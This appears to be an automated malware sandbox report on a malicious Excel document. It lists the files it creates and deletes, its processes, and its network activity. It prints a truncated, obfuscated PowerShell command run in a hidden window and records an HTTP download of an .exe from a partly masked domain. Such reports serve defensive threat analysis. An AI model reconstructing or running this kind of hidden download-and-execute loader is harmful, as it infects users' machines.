Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function d7dabec {param($da47e6)$na3db34='l24d4d7';$pfd6ed4='';for ($i=0; $i -lt $da47e6.length;$i+=2){$v43a1=[convert]::ToByte($da47e6.Substring($i,2),16);$pfd6ed4+=[char...
Modifies file system
Creates the following files
- %TEMP%\g1uqhfx8.0.cs
- %TEMP%\p5av-31k.cmdline
- %TEMP%\p5av-31k.out
- %TEMP%\csc62aa.tmp
- %TEMP%\csc647f.tmp
- %TEMP%\csc650b.tmp
- %TEMP%\res5fad.tmp
- %TEMP%\ccicwxqz.dll
- %TEMP%\res603a.tmp
- %TEMP%\res60d6.tmp
- %TEMP%\res6163.tmp
- %TEMP%\csc6cdb.tmp
- %TEMP%\g1uqhfx8.dll
- %TEMP%\dr8ol0or.dll
- %TEMP%\otjr_feo.dll
- %TEMP%\res62ba.tmp
- %TEMP%\res649f.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2da36932-1f8d-4d6e-8247-0e3b2f9f957d}.tmp
- %TEMP%\res652b.tmp
- %TEMP%\y9xc5y7f.dll
- %TEMP%\8agvkhtp.dll
- %TEMP%\rkpm9dsz.dll
- %TEMP%\csc6152.tmp
- %TEMP%\res6cfb.tmp
- %TEMP%\csc60c5.tmp
- %TEMP%\csc5f8d.tmp
- %TEMP%\g1uqhfx8.cmdline
- %TEMP%\g1uqhfx8.out
- %TEMP%\dr8ol0or.0.cs
- %TEMP%\dr8ol0or.cmdline
- %TEMP%\dr8ol0or.out
- %TEMP%\otjr_feo.0.cs
- %TEMP%\otjr_feo.cmdline
- %TEMP%\otjr_feo.out
- %TEMP%\rkpm9dsz.0.cs
- %TEMP%\8agvkhtp.0.cs
- %TEMP%\8agvkhtp.cmdline
- %TEMP%\8agvkhtp.out
- %TEMP%\ccicwxqz.0.cs
- %TEMP%\ccicwxqz.cmdline
- %TEMP%\ccicwxqz.out
- %TEMP%\y9xc5y7f.0.cs
- %TEMP%\y9xc5y7f.cmdline
- %TEMP%\p5av-31k.0.cs
- %TEMP%\rkpm9dsz.cmdline
- %TEMP%\y9xc5y7f.out
- %TEMP%\rkpm9dsz.out
- %TEMP%\csc601a.tmp
- %TEMP%\p5av-31k.dll
Deletes the following files
- %TEMP%\res5fad.tmp
- %TEMP%\csc650b.tmp
- %TEMP%\res649f.tmp
- %TEMP%\csc647f.tmp
- %TEMP%\rkpm9dsz.pdb
- %TEMP%\rkpm9dsz.cmdline
- %TEMP%\rkpm9dsz.dll
- %TEMP%\rkpm9dsz.out
- %TEMP%\rkpm9dsz.0.cs
- %TEMP%\y9xc5y7f.pdb
- %TEMP%\y9xc5y7f.dll
- %TEMP%\csc62aa.tmp
- %TEMP%\res652b.tmp
- %TEMP%\y9xc5y7f.cmdline
- %TEMP%\8agvkhtp.dll
- %TEMP%\8agvkhtp.cmdline
- %TEMP%\8agvkhtp.out
- %TEMP%\8agvkhtp.pdb
- %TEMP%\8agvkhtp.0.cs
- %TEMP%\res6cfb.tmp
- %TEMP%\csc6cdb.tmp
- %TEMP%\p5av-31k.pdb
- %TEMP%\p5av-31k.out
- %TEMP%\p5av-31k.dll
- %TEMP%\y9xc5y7f.out
- %TEMP%\y9xc5y7f.0.cs
- %TEMP%\res62ba.tmp
- %TEMP%\otjr_feo.0.cs
- %TEMP%\otjr_feo.cmdline
- %TEMP%\ccicwxqz.out
- %TEMP%\ccicwxqz.pdb
- %TEMP%\ccicwxqz.0.cs
- %TEMP%\ccicwxqz.dll
- %TEMP%\ccicwxqz.cmdline
- %TEMP%\res603a.tmp
- %TEMP%\csc601a.tmp
- %TEMP%\g1uqhfx8.pdb
- %TEMP%\g1uqhfx8.0.cs
- %TEMP%\g1uqhfx8.out
- %TEMP%\g1uqhfx8.cmdline
- %TEMP%\csc5f8d.tmp
- %TEMP%\g1uqhfx8.dll
- %TEMP%\csc60c5.tmp
- %TEMP%\res6163.tmp
- %TEMP%\csc6152.tmp
- %TEMP%\dr8ol0or.out
- %TEMP%\dr8ol0or.dll
- %TEMP%\dr8ol0or.cmdline
- %TEMP%\dr8ol0or.0.cs
- %TEMP%\dr8ol0or.pdb
- %TEMP%\otjr_feo.out
- %TEMP%\otjr_feo.dll
- %TEMP%\otjr_feo.pdb
- %TEMP%\res60d6.tmp
- %TEMP%\p5av-31k.cmdline
- %TEMP%\p5av-31k.0.cs
Network activity
TCP
HTTP GET requests
- http://fo####alityc.net/doc/uhNCIkFlPC.exe
UDP
- DNS ASK fo####alityc.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function d7dabec {param($da47e6)$na3db34='l24d4d7';$pfd6ed4='';for ($i=0; $i -lt $da47e6.length;$i+=2){$v43a1=[convert]::ToByte($da47e6.Substring($i,2),16);$pfd6ed4+=[char...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES649F.tmp" "%TEMP%\CSC647F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES62BA.tmp" "%TEMP%\CSC62AA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p5av-31k.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6163.tmp" "%TEMP%\CSC6152.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60D6.tmp" "%TEMP%\CSC60C5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES603A.tmp" "%TEMP%\CSC601A.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES652B.tmp" "%TEMP%\CSC650B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5FAD.tmp" "%TEMP%\CSC5F8D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y9xc5y7f.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccicwxqz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8agvkhtp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otjr_feo.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dr8ol0or.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g1uqhfx8.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rkpm9dsz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6CFB.tmp" "%TEMP%\CSC6CDB.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES649F.tmp" "%TEMP%\CSC647F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES62BA.tmp" "%TEMP%\CSC62AA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p5av-31k.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6163.tmp" "%TEMP%\CSC6152.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60D6.tmp" "%TEMP%\CSC60C5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES603A.tmp" "%TEMP%\CSC601A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5FAD.tmp" "%TEMP%\CSC5F8D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rkpm9dsz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y9xc5y7f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccicwxqz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8agvkhtp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otjr_feo.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dr8ol0or.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g1uqhfx8.cmdline"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES652B.tmp" "%TEMP%\CSC650B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6CFB.tmp" "%TEMP%\CSC6CDB.tmp"
